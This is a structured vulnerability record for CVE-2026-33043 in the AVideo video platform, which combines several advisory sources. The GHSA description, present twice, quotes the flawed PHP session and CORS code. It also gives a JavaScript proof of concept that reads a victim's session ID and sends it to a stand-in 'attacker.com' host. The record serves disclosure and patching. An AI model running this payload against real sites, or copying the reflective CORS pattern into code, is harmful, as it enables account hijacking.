{"id":"CVE-2026-33043","aliases":["EUVD-2026-13585","GHSA-qc3p-398r-p59j"],"status":"published","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00359,"percentile":0.30012,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-942"],"published":"2026-03-17T19:52:28Z","modified":"2026-10-28T02:30:36Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33043","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qc3p-398r-p59j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33043.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33043","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.","status":"published","published":"2026-03-20T05:52:59.412Z","modified":"2026-03-25T13:55:29.106Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-13585","description":"WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.","status":"published","published":"2026-03-20T05:52:59Z","modified":"2026-03-25T13:55:29Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-qc3p-398r-p59j","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj-\u003ephpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\u003cscript\u003e\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r =\u003e r.json())\n.then(d =\u003e {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;\n});\n\u003c/script\u003e\n```\n\nWhen a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.","status":"published","published":"2026-03-17T19:52:28Z","modified":"2026-03-20T21:23:01Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-33043","description":"WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.","status":"published","published":"2026-03-20T06:16:12.67Z","modified":"2026-06-17T10:36:51.523Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-33043","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.","status":"published","published":"2026-03-20T05:52:59.412Z","modified":"2026-10-28T02:30:36.312247575Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-qc3p-398r-p59j","title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj-\u003ephpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n\u003cscript\u003e\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r =\u003e r.json())\n.then(d =\u003e {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;\n});\n\u003c/script\u003e\n```\n\nWhen a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.","status":"published","published":"2026-03-17T19:52:28Z","modified":"2026-03-20T21:36:05.319745Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-942"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}